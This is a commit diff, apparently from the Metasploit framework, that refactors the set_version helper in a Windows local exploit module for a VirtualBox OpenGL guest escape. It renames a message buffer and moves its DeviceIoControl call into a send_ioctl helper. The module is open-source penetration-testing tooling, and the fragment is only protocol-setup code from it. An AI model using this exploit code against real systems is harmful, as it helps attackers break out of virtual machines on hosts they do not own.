Refactor set_version

Author: jvazquez-r7

modules/exploits/windows/local/virtual_box_opengl_escape.rb

@@ -169,32 +169,20 @@ def set_pid(pid)
   end
 
   def set_version
-    info = "\x00" * SET_VERSION_MSG_SIZE
+    msg = "\x00" * SET_VERSION_MSG_SIZE
 
-    info[0, 4]  = [VERR_WRONG_ORDER].pack("V")
-    info[4, 4]  = [@client_id].pack("V") # u32ClientID
-    info[8, 4]  = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
-    info[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
-    info[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
-    info[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
-    info[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
-    info[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")
-
-    ioctl = session.railgun.kernel32.DeviceIoControl(@handle, VBOXGUEST_IOCTL_HGCM_CALL, info, info.length, info.length, info.length, 4, "")
-
-    if ioctl["GetLastError"] != 0
-      fail_with(Failure::Unknown, "Something wrong while set_version")
-    end
-
-    unless ioctl["lpBytesReturned"] && ioctl["lpBytesReturned"] == SET_VERSION_MSG_SIZE
-      fail_with(Failure::Unknown, "Something wrong while set version")
-    end
+    msg[0, 4]  = [VERR_WRONG_ORDER].pack("V")
+    msg[4, 4]  = [@client_id].pack("V") # u32ClientID
+    msg[8, 4]  = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
+    msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
+    msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
+    msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
+    msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
+    msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")
 
-    unless ioctl["lpOutBuffer"] && ioctl["lpOutBuffer"].unpack("V").first == 0
-      fail_with(Failure::Unknown, "Something wrong while set version")
-    end
+    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
 
-    true
+    result
   end
 
   def trigger(buff_addr, buff_length)